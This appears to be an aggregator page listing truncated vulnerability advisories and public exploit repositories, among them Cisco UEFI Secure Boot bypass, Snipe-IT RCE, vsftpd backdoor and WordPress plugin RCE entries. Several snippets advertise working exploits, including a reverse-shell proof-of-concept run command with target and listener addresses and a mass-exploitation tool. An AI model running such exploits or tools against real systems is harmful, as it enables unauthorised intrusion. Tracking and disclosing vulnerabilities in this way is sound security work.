CVE-2026-20293

A vulnerability in the UEFI Shell implementation of Cisco UCS Servers and UCS-based appliances allows bypassing UEFI Secure Boot validation checks. The root cause is the availability of memory write commands in the UEFI Shell while Secure Boot is enabled. An attacker—authenticated with user or ad...

CVE-2026-20293 Cisco UCS and UCS-Based Appliances UEFI Shell Secure Boot Bypass Vulnerability

A vulnerability in the Unified Extensible Firmware Interface UEFI Shell implementation of Cisco UCS Servers and UCS-based appliances could allow an authenticated attacker with valid credentials for a user account with the role of user or admin or an unauthenticated attacker with physical access t...

CVE-2020-0688

CVE-2020-0688 Exploit PoC funcional CVE-2020-0688 - Reverse Bind Shell Probado con Python2.7 Para instalar: pip install -r requirements.txt Para ejecutar: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

vsftpd-234-backdoor

vsftpd 2.3.4 Backdoor Exploit A small, dependency-free Python 3 exploit for the vsftpd 2.3.4 backdoor CVE-2011-2523. It triggers the backdoor over FTP and drops you into an interactive root shell on the spawned listener. Written as a modern replacement for old exploit scripts which depended on...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 I created simple react2shell CVE-2025-55182 python exploit USAGE 1. Save the script: Save the code above as exploit.py. 2. Update Hosts: Ensure reactor.htb resolves to the target IP in your /etc/hosts file. echo " reactor.htb" | sudo tee -a /etc/hosts 3. Start...

CVE-2026-57811

CVE-2026-57811 — Realtyna Organic IDX + WPL Real Estate Unauthenticated RCE -red.svg Critical Unauthenticated Remote Code Execution CVSS 10.0 — Realtyna Organic IDX + WPL Real Estate ≤ 5.2.0 This tool exploits CVE-2026-57811 , a critical vulnerability in the Realtyna Organic IDX + WPL Real Estate...

EUVD-2026-72869

Snipe-IT before 8.7.0 streams the SQL entry from an uploaded backup archive directly into the MySQL/MariaDB command-line client mysql without the --binary-mode flag, so the client interprets lines beginning with backslash commands such as ! as local shell commands. An authenticated...

CVE-2026-86733 Snipe-IT before 8.7.0 Remote Code Execution via Backup Restore

Snipe-IT before 8.7.0 streams the SQL entry from an uploaded backup archive directly into the MySQL/MariaDB command-line client mysql without the --binary-mode flag, so the client interprets lines beginning with backslash commands such as ! as local shell commands. An authenticated...

firefox: Privilege escalation in the Shell Integration component

A flaw was found in Firefox. The Mozilla Foundation's Security Advisory describes the following issue: Privilege escalation in the Shell Integration component...

Windows Shell Elevation of Privilege Vulnerability

Use after free in Windows Shell allows an authorized attacker to elevate privileges locally...

Windows Shell Remote Code Execution Vulnerability

Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network...

Windows Shell Spoofing Vulnerability

Improper link resolution before file access 'link following' in Windows Shell allows an unauthorized attacker to perform spoofing over a network...

Windows Shell Elevation of Privilege Vulnerability

External control of file name or path in Windows Shell allows an authorized attacker to elevate privileges locally...

Windows Shell Elevation of Privilege Vulnerability

Missing authentication for critical function in Windows Shell allows an authorized attacker to elevate privileges locally...

Windows Shell Elevation of Privilege Vulnerability

Use after free in Windows Shell allows an authorized attacker to elevate privileges locally...

CVE-LiteLLM

cve-id ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: root@kitploit: git clone cd Project use python follow below Create a virtual environment...

CVE-2026-4885

CVE-2026-4885 – Piotnet Addons for Elementor Pro Mass Exploit Unauthenticated arbitrary file upload leading to Remote Code Execution RCE in Piotnet Addons for Elementor Pro ≤ 7.1.70. This tool is designed for mass exploitation – feed it a list of targets, and it will automatically: Detect the...

cisco-CVE-2023-20075

About Security researcher: ly1g3, ly1g3attuta.io GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 Overview: Local Privilege Escalation and Shell Escape CVE: CVE-2023-20075 Timeline: Discovered - ly1g3 Reported - ly1g3 Fixed - Cisco Cisco...

cisco-CVE-2023-20009

About Security researcher: ly1g3, ly1g3attuta.io GPG fingerprint: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586 Overview: Remote Code Execution - RCE from config file CVE: CVE-2023-20009 Timeline: Discovered - ly1g3 Reported - ly1g3 Fixed - Cisco Cisco...

CVE-2026-5426

CVE-2026-5426 ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: root@kitploit: git clone cd Example usage: root@kitploit: Test a single target fo...